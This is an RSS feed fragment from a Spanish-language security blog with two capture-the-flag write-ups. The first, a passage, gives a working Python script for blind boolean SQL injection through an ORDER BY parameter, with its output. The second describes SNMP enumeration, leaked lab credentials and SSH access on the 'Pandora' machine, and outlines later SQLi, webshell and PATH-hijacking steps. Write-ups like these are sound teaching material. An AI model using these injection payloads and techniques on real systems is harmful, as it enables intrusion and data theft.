&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; res.send(response(&lt;span style="color:#e6db74"&gt;&amp;#39;Missing parameters&amp;#39;&lt;/span&gt;))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;});
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h3 id="confirmación-control-del-order"&gt;Confirmación: control del &lt;code&gt;order&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;Podemos controlar el parámetro &lt;code&gt;order&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-80bc-b4bc-c633deff1a75.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-8075-921b-ea240886dde6.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-boolean-based-en-order-by"&gt;SQLi boolean-based en &lt;code&gt;ORDER BY&lt;/code&gt;&lt;/h3&gt;
&lt;p&gt;La idea es forzar dos comportamientos distintos (True vs False) cambiando el criterio de ordenación mediante un &lt;code&gt;CASE WHEN&lt;/code&gt;.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;order&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(CASE WHEN (1=1) THEN id ELSE count END) ASC&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# true&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;order&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;&lt;span style="color:#e6db74"&gt;&amp;#34;(CASE WHEN (1=0) THEN id ELSE count END) ASC&amp;#34;&lt;/span&gt; &lt;span style="color:#75715e"&gt;# false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Si la condición es True, la lista queda ordenada por &lt;code&gt;id&lt;/code&gt;. Si es False, se ordena por &lt;code&gt;count&lt;/code&gt;. Con esa diferencia podemos inferir bits de información.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="extracción-carácter-a-carácter-blind"&gt;Extracción carácter a carácter (blind)&lt;/h3&gt;
&lt;p&gt;Para extraer texto sin ver errores ni datos directamente, se puede consultar un carácter concreto con &lt;code&gt;substr&lt;/code&gt; (o &lt;code&gt;substring&lt;/code&gt;) y compararlo. En el script de ejemplo, se compara contra el valor en &lt;strong&gt;hex&lt;/strong&gt; para manejar caracteres especiales.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import requests
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;import string
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;host, port = &lt;span style="color:#e6db74"&gt;&amp;#39;94.237.51.160&amp;#39;&lt;/span&gt;, &lt;span style="color:#ae81ff"&gt;45916&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;HOST = f&lt;span style="color:#e6db74"&gt;&amp;#39;{{http://{host}}}:{port}&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;def req(payload)&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;try&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; r =
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;requests.post
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;(f&lt;span style="color:#e6db74"&gt;&amp;#39;{HOST}/api/list&amp;#39;&lt;/span&gt;, data={&lt;span style="color:#e6db74"&gt;&amp;#39;order&amp;#39;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; payload})
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; r.json()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; except Exception as e:
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Request failed: {e}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;return&lt;/span&gt; []
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;i = &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;f = &lt;span style="color:#e6db74"&gt;&amp;#39;&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;print(&lt;span style="color:#e6db74"&gt;&amp;#34;Starting injection...&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#66d9ef"&gt;while&lt;/span&gt; True&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; i += &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found_char = False
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;for&lt;/span&gt; char &lt;span style="color:#66d9ef"&gt;in&lt;/span&gt; string.printable&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; char == &lt;span style="color:#e6db74"&gt;&amp;#34;&amp;#39;&amp;#34;&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;continue&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Convert char to hex to handle special characters safely in SQLite&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; char_hex = format(ord(char), &lt;span style="color:#e6db74"&gt;&amp;#39;x&amp;#39;&lt;/span&gt;).upper()
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Construct the query&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# We check if the hex of the substring equals our hex character&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; query = f&lt;span style="color:#e6db74"&gt;&amp;#34;SELECT hex(substr((SELECT tbl_name FROM sqlite_master WHERE type=&amp;#39;table&amp;#39; LIMIT 1 OFFSET 0),{i}, 1)) = &amp;#39;{char_hex}&amp;#39;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Injection payload for ORDER BY clause&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If True, order by &amp;#39;id&amp;#39; (id 1 comes first usually)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If False, order by &amp;#39;count&amp;#39; (assuming a different order)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; payload = f&lt;span style="color:#e6db74"&gt;&amp;#39;(CASE WHEN ({query}) THEN id ELSE count END) ASC&amp;#39;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; response = req(payload)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# Check if we got a valid response and if the first item has id 1&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; response and response[&lt;span style="color:#ae81ff"&gt;0&lt;/span&gt;].get(&lt;span style="color:#e6db74"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;) == &lt;span style="color:#ae81ff"&gt;1&lt;/span&gt;&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; f += char
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;[+] Found character: {char} | Current String: {f}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; found_char = True
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#75715e"&gt;# If we went through all characters and didn&amp;#39;t find a match, the string has ended&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;if&lt;/span&gt; not found_char&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; print(f&lt;span style="color:#e6db74"&gt;&amp;#34;Extraction complete. Final string: {f}&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt; &lt;span style="color:#66d9ef"&gt;break&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Salida del script (ejemplo):&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;python exploit.py
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Starting injection...
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; f
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; l | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fl
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; a | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; fla
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; g | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; _ | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; e | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;7&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;2&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e72
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;6&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e726
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;4&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; b | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;5&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; d | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;9&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d9
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;[+] Found character&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; &lt;span style="color:#ae81ff"&gt;0&lt;/span&gt; | Current String&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d90
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Extraction complete. Final string&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; flag_e7264b5d90
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;hr&gt;
&lt;h3 id="enumeración-de-columnas-en-sqlite"&gt;Enumeración de columnas en SQLite&lt;/h3&gt;
&lt;p&gt;En SQLite no existe &lt;code&gt;DESCRIBE table&lt;/code&gt; como en MySQL. En su lugar, se puede consultar la columna &lt;code&gt;sql&lt;/code&gt; de &lt;code&gt;sqlite_master&lt;/code&gt;, que contiene el &lt;code&gt;CREATE TABLE&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Cambiamos el &lt;code&gt;query&lt;/code&gt; por:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;query = f'''SELECT hex(substr((SELECT sql FROM sqlite_master WHERE tbl_name='\{flag_e7264b5d90\}'), \{i\}, 1)) = '\{char_hex\}' '''&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;Obtenemos una cadena como:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;CREATE TABLE flag_e7264b5d90 (flag TEXT)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Lo que nos revela el nombre de la columna: &lt;code&gt;flag&lt;/code&gt;.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="extracción-del-valor-de-la-flag"&gt;Extracción del valor de la flag&lt;/h3&gt;
&lt;p&gt;Finalmente, apuntamos a la columna &lt;code&gt;flag&lt;/code&gt;:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;query = f'''SELECT hex(substr((SELECT flag FROM flag_e7264b5d90 ), \{i\}, 1)) = '\{char_hex\}' '''&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2ec888fa-f353-8039-b67c-d5e7a87d4eb0.png" alt="Imagen del post"&gt;&lt;/p&gt;</content><author>admin@synacklabs.github.io (SynAckLabs)</author></item><item><title>Pandora (Easy)</title><link>https://synacklabs.github.io/posts/pandora/</link><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate><guid>https://synacklabs.github.io/posts/pandora/</guid><description>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;</description><content>&lt;h2 id="resumen"&gt;Resumen&lt;/h2&gt;
&lt;p&gt;Write-up de la máquina Pandora &lt;strong&gt;(Easy)&lt;/strong&gt;. Pandora expone SSH (22/tcp) y una web (80/tcp) que no aporta mucho. La pista clave es revisar &lt;strong&gt;UDP&lt;/strong&gt;, donde aparece &lt;strong&gt;SNMP (161/udp)&lt;/strong&gt; con community string &lt;code&gt;public&lt;/code&gt;. A partir de ahí conseguimos credenciales, pivoteamos a una instancia interna de &lt;strong&gt;Pandora FMS&lt;/strong&gt;, explotamos una &lt;strong&gt;SQLi&lt;/strong&gt; para secuestrar sesión de admin, subimos una webshell y finalmente escalamos a &lt;strong&gt;root&lt;/strong&gt; mediante &lt;strong&gt;PATH hijacking&lt;/strong&gt; en un binario SUID que invoca &lt;code&gt;tar&lt;/code&gt; sin ruta absoluta.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-8005-a888-ea6d255529dd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;h2 id="enumeración"&gt;Enumeración&lt;/h2&gt;
&lt;p&gt;Enumeración TCP&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;22&lt;/span&gt;/tcp open ssh OpenSSH &lt;span style="color:#ae81ff"&gt;8&lt;/span&gt;.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol &lt;span style="color:#ae81ff"&gt;2.0&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;80&lt;/span&gt;/tcp open http Apache httpd &lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 ((Ubuntu))
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-title: Play | Landing
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;|_http-server-header: Apache/&lt;span style="color:#ae81ff"&gt;2.4&lt;/span&gt;.41 (Ubuntu)
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;Service Info&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; OS&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Linux; CPE&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; cpe&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/o:linux&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;linux_kernel
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;La web en el puerto 80 solo mostraba una landing con formulario de contacto. No encontré una vía clara por ahí.&lt;/p&gt;
&lt;p&gt;Enumeración UDP&lt;/p&gt;
&lt;p&gt;Siguiendo la pista, enumeramos UDP y encontramos &lt;strong&gt;SNMP&lt;/strong&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;PORT STATE SERVICE VERSION
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;&lt;span style="color:#ae81ff"&gt;161&lt;/span&gt;/udp open snmp SNMPv1 server; net-snmp SNMPv3 server (public)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Notas rápidas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;SNMP suele usarse para monitorización y gestión remota.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;public&lt;/code&gt; es una community string típica y, si está expuesta, suele filtrar información sensible.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h3 id="enumeración-snmp-y-acceso-inicial"&gt;Enumeración SNMP y acceso inicial&lt;/h3&gt;
&lt;p&gt;Usamos &lt;code&gt;snmpbulkwalk&lt;/code&gt; para volcar información:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;snmpbulkwalk -c public -v2c &lt;span style="color:#ae81ff"&gt;10.10&lt;/span&gt;.11.136
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-803f-8f7b-c15ab2e47c27.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En la salida aparecen credenciales:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;daniel:HotelBabylon23&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Con estas credenciales entramos por SSH.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-80c4-b98a-f2d6b615e3cd.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="post-explotación-usuario-y-pivote-a-servicio-interno"&gt;Post-explotación (usuario) y pivote a servicio interno&lt;/h3&gt;
&lt;p&gt;Dentro, al revisar directorios, vemos que &lt;code&gt;user.txt&lt;/code&gt; pertenece a &lt;code&gt;matt&lt;/code&gt;:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"&gt;&lt;code class="language-powershell" data-lang="powershell"&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ ls
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;daniel@pandora&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt;/home/matt$ cat user.txt
&lt;/span&gt;&lt;/span&gt;&lt;span style="display:flex;"&gt;&lt;span&gt;cat&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; user.txt&lt;span style="color:#960050;background-color:#1e0010"&gt;:&lt;/span&gt; Permission denied
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Necesitamos escalar o conseguir acceso como &lt;code&gt;matt&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Durante la enumeración detectamos otra web interna. Hacemos &lt;strong&gt;port forwarding&lt;/strong&gt; del puerto 80 remoto para acceder desde nuestra máquina.&lt;/p&gt;
&lt;p&gt;Intentamos autenticarnos con las credenciales de &lt;code&gt;daniel&lt;/code&gt; y no funciona.&lt;/p&gt;
&lt;p&gt;&lt;img src="https://synacklabs.github.io/images/notion/2e8888fa-f353-809a-8776-eee07a29e27f.png" alt="Imagen del post"&gt;&lt;/p&gt;
&lt;p&gt;En el footer se observa la versión del producto, lo que nos lleva a investigar vulnerabilidades conocidas.&lt;/p&gt;
&lt;hr&gt;
&lt;h3 id="sqli-en-pandora-fms-chart_generatorphp"&gt;SQLi en Pandora FMS (chart_generator.php)&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href="https://www.sonarsource.com/blog/pandora-fms-742-critical-code-vulnerabilities-explained/"&gt;Pandora FMS 742: Critical Code Vulnerabilities Explained&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
